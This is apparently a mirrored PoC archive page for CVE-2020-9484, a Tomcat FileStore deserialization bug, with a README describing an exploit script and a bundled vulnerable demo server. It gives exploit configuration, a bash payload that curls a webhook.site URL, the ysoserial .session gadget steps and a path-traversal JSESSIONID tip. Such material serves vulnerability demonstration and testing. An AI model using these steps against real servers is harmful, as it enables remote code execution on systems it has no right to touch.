Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
Description:When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.
Description
PoC exploit for CVE-2020-9484, and a vulnerable web application for its demonstration
Readme

This repository contains a proof of concept exploit for CVE-2020-9484, along with an [example web server](web-application-source/POC_CVE-2020-9484) that is vulnerable to this exploit.

----

### Prerequisites for this vulnerability to be exploitable

Affected tomcat versions are:
-   Apache Tomcat 10.x < 10.0.0-M5
-   Apache Tomcat 9.x < 9.0.35
-   Apache Tomcat 8.x < 8.5.55
-   Apache Tomcat 7.x < 7.0.104

1. The `PersistentManager` is enabled and it is using a `FileStore`.
2. The attacker is able to upload a file with arbitrary content, has control over the file name extension (particularly `.session` files), and knows the location where it is uploaded.
3. There are gadgets in the classpath (e.g. `clojure` or `commons-collections`) that can be used for a Java deserialization attack.

----


### The Example Vulnerable Service
The example service is a web server with two pages, `/index.jsp` (or simply `/`) and `/list.jsp`. It allows the user to upload and download files (specific to the current session), effectively acting as file storage.
- It supports POST requests to `/upload` supporting file upload, and allows the user to choose the file name. This makes it possible to upload files with the extension `.session`. It is also known that the server stores the files in the directory `/var/tmp/uploads`.
- It has `PersistentManager` enabled using a `FileStore`. (see `context.xml`)
- It has `clojure:1.8.0` in the classpath thus facilitating deserialization attack. (see `pom.xml`)

----

### [The Exploit](exploit.py)
To set up the example vulnerable service:
```
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
```
The service should now be up and running at `http://localhost:8085/POC_CVE-2020-9484/`.

Now adjust the configuration variables at the beginning of [exploit.py](exploit.py). The `PAYLOAD`, here a shell script, can be any file that can be executed by the server.
```py
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
```
Now run [exploit.py](exploit.py).
It performs the following actions:
1. Downloads [yoserial](https://github.com/frohoff/ysoserial).
2. Uses yoserial to generate malicious serialized objects (as `.session` files), which will eventually get deserialized on the server:
    - **chmodPayload.session** to give executable permissions to the `PAYLOAD` file uploaded to the server.
    - **executePayload.session** to execute the `PAYLOAD` file on the server.
 3. Uploads the `PAYLOAD` as a file to the server.
 4. Uploads the `.session` files generated above to the server.
 5. Triggers a request to the server with the `JSESSIONID` cookie being the path of the previously uploaded `.sesssion` files relative to the server's session storage, thus triggering their deserialization on the server and subsequent execution of the payload.

----

### Footnotes
- Many servers store user-uploaded files in a path of the form `/path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename`. In such a case, using a `JSESSIONID` of the form `../../../../tmp` (instead of an arbitrary value like `"1337"*8` used in `exploit.py` above) with the file upload POST request can potentially be helpful in determining where the uploaded file is stored on the server.
File Snapshot

[4.0K] /data/pocs/6846c82d41fc17e00dc0db83bc5bce55f0bd050a ├── [3.3K] exploit.py ├── [4.0K] README.md └── [4.0K] sample-vulnerable-server ├── [1.6K] context.xml ├── [ 252] Dockerfile ├── [3.1M] POC_CVE-2020-9484-1.0-SNAPSHOT.war └── [4.0K] web-application-source └── [4.0K] POC_CVE-2020-9484 ├── [ 10K] mvnw ├── [6.6K] mvnw.cmd ├── [2.0K] pom.xml └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] io │   └── [4.0K] github │   └── [4.0K] savsch │   └── [4.0K] poc_cve20209484 │   ├── [ 196] Config.java │   ├── [1.2K] DownloadServlet.java │   ├── [ 710] HelloServlet.java │   └── [1.5K] UploadServlet.java └── [4.0K] webapp ├── [ 495] index.jsp ├── [1.0K] list.jsp └── [4.0K] WEB-INF └── [ 304] web.xml 12 directories, 15 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →